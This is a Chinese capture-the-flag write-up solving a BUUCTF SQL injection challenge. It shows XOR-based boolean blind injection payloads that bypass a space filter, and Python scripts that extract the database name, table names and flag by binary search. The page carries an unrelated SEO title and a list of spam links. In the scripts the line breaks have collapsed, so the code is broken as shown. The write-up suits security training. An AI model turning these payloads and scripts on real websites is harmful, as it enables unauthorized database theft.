当前位置: 首页 > wzjs >正文

网站平台建设方案策划书新型网络搜索引擎

网站平台建设方案策划书,新型网络搜索引擎,花都网站开发,手机app是用什么软件开发的Buuctf [极客大挑战 2019]FinalSQL 1.拿到题目先随便点吧 2.根据题目提示,选择正确的神秘代码即可获得flag,尝试点1 3.题目提示,不是这个,点其他的按钮,尝试点击2 4.它说矣,也不是这个,那就再点击3 5…

Buuctf [极客大挑战 2019]FinalSQL

1.拿到题目先随便点吧
在这里插入图片描述
2.根据题目提示,选择正确的神秘代码即可获得flag,尝试点1
在这里插入图片描述

3.题目提示,不是这个,点其他的按钮,尝试点击2
在这里插入图片描述
4.它说矣,也不是这个,那就再点击3
在这里插入图片描述
5.它逗一下我,你找到flag在这里,但是没有,继续点击4
在这里插入图片描述
6.好好,我告诉你,就在下面一个,真的,那就点击5
在这里插入图片描述

7.还查了一下英文单词,它说你是多蠢啊,怎样我才可以给你?因此,为什么不看一下第六个呢?但是它在哪里吗?
在这里插入图片描述

8.聪明的,但是不是这张表,通过上述的判断,我们可以看到id是可以控制的参数,进一步验证我们的推测1'

http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1%27
在这里插入图片描述

9.使用-- -进行注释

http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1%27–%20-
在这里插入图片描述

10.正确输入1的回显是

http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1
在这里插入图片描述

11.通过上面的三个回显,我们所做的总结如下所示

(1)当输入正确时,正确的回显是

NO! Not this! Click others~~~

(2)当输入错误时,错误的回显是

Error!

(3)当输入特殊字符时,被waf拦截的回显是

你可别被我逮住了,臭弟弟

12.我是直接上手SQL注入的fuzz判断其过滤了哪些字符

在这里插入图片描述

13.使用bp爆破的话,就不赘述
在这里插入图片描述

14.需要注意的一点是,不断扩充自己的sql注入的fuzz字典,可以清楚的发现,存在数字型的异或注入
在这里插入图片描述
15.异或的话,还是比较好理解,即相同为0,不同为1

使用异或的表达式如下所示:

1^1=0

1^0=1

0^1=1

0^0=0

本道题目当中,就是利用这样的性质就行求解,尝试使用0^x的情况,只要后面为真的话,那么我们便可以判断数据,这个点是解开这道题目的关键。

16.本地调试

select * from product where id = 962;

在这里插入图片描述

17.查看数据库

select database();
在这里插入图片描述

18.查看数据库长度

select length(database());
在这里插入图片描述
在这里插入图片描述

19.本地测试的数据库为tmall,因此数据库的长度为5,通过sql语句判断出数据库的长度,而在本道数据库的长度判断和本地不一样的情况是,CTF中的数据库过滤了空格,构造语句如下所示

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E0)

在这里插入图片描述

20.这里顺带就引出二分查找法,尝试数据的长度大于15

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E15)

在这里插入图片描述

21.当输入15时,返回错误,尝试大于7

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E7)

在这里插入图片描述

22.当输入7时,返回错误,尝试大于4

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E4)

在这里插入图片描述

23.当输入大于4时,返回错误,尝试大于2

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E4)

在这里插入图片描述

24.当输入2时,返回正确,尝试大于3
在这里插入图片描述

25.通过大于4是错误的,尝试大于5

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E5)

在这里插入图片描述

26.那么说明数据库的长度为4

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))=4)

在这里插入图片描述

27.开始爆破数据库,因为知道数据库的长度为4,那么通过ASCII值推测出数据库的库名

28.本地测试,通过返回的ASCII值判断数据名

select (ord(substr((select(database())),1,1))%3E32);

在这里插入图片描述

29.这里面就有两个可控制的变量,一个是数据库的长度,另外一个数据库名的ASCII码

select (ord(substr((select(database())),数据长度,1))%3E数据库的ASCII值);

那么脚本如下:

# -*- coding: utf-8 -*-
# coding=utf8import requests
import time#payload = 0^(ord(substr(database(),1,1))>32)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)database_name = ''for x in range(1,100):min = 1max = 150mid = (min + max)//2while min < max:params = {"id":"0^(ord(substr((select(database())),"+str(x)+",1))>"+str(mid)+")"}response = requests.get(url=url,params=params)time.sleep(1)if "others~~~" in response.text:min = mid + 1else:max = midmid = (min+max)//2if min <= 32 or max >= 127:breakdatabase_name += chr(mid)print("数据库名为:" + database_name)

30.这里的ASCII值,有个特性,在32127这样一个范围,代码的话,省去了判断数据库的长度,使用循环的形式得出数据库
在这里插入图片描述

31.通过爆破获得数据库名为geek
在这里插入图片描述

32.爆破数据库的表名:

select (ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='tmall')),1,1))%3E33);

在这里插入图片描述

代码如下所示:

# -*- coding: utf-8 -*-
# coding=utf8import requests
import time#payload = 0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),1,1))>0)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)tables_name = ''for x in range(1,100):min = 1max = 150mid = (min + max)//2while min < max:params = {"id":"0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(x)+",1))>"+str(mid)+")"}response = requests.get(url=url,params=params)time.sleep(1)if "others~~~" in response.text:min = mid + 1else:max = midmid = (min+max)//2if min <= 32 or max >= 127:breaktables_name += chr(mid)print("数据库表名为:" + tables_name)

在这里插入图片描述

33.这里爆破字段名是硬伤。使用了很多种办法,都是报错
在这里插入图片描述

34.而在本道题目中,flag存在字段password

# -*- coding: utf-8 -*-
# coding=utf8import requests
import time#payload = 0^(ord(substr(database(),1,1))>32)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)column_name = ''for x in range(1,1000000):min = 1max = 150mid = (min + max)//2while min < max:#params = {"id":"0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(x)+",1))>"+str(mid)+")"+str(x)+",1))>"+str(mid)+")"}# 0^(ord(substr((select(group_concat(password))from(F1naI1y))# params = {"id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(mid)+")"}# params = {"id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(x) + ",1))>" + str(mid) + ")"}params = {"id":"(ord(substr((select(group_concat(password))from(F1naI1y)),"+ str(x) + ",1))>" + str(mid) + ")"}response = requests.get(url=url,params=params)time.sleep(1)if "others~~~" in response.text:min = mid + 1else:max = midmid = (min+max)//2if min <= 32 or max >= 127:breakcolumn_name += chr(mid)print("flag:" + column_name)

在这里插入图片描述

http://www.dtcms.com/wzjs/16324.html

相关文章:

  • 网站推广营销案例最新网站查询
  • 企业网站有哪些举几个例子吉林百度seo公司
  • 只做动漫的网站温州seo博客
  • 网站外链分析工具百度一下你就知道下载
  • 河南省建设厅官方网站 吴浩市场推广方案怎么写
  • 杰森影像网站建设zac博客seo
  • 做网站的流程帮别人推广app赚钱
  • 购买域名搭建网站整合营销方案
  • 旅游网站开发代码免费网站电视剧全免费
  • 做准考证的网站seo视频教程百度网盘
  • 九龙坡区建设二校有网站吗广州新闻头条最新消息
  • 国内vps做网站要备案吗免费发广告网站
  • 区域信息网站怎么做网络公关
  • 用asp.net做的网站模板下载一级消防工程师考试
  • 日本亲子游哪个网站做的好网络营销方式对比分析
  • seo推广有效果吗seo网站自动发布外链工具
  • 网页网站设计公司有哪些站长之家的seo综合查询工具
  • 专业微信网站建设公司首选汽车网站建设方案
  • 网站程序超市seo关键词优化软件合作
  • 连云港建设局官方网站外贸网络推广怎么做
  • 湖南做网站 f磐石网络长春网站建设公司
  • 我的网站在百度搜不到了seo的作用有哪些
  • 朔州企业网站建设企业网站推广渠道
  • 推荐几个成人网站爱站
  • 浙江省院士专家工作站建设网站关键词排名霸屏代做
  • 苏州高端网站开发百度引流推广费用多少
  • 如何做一个二维码相册win10优化
  • 房屋装修效果图片欣赏seo品牌
  • 网页制作与网站建设报告抖音搜索关键词推广
  • 绵阳的网站制作公司刷排名seo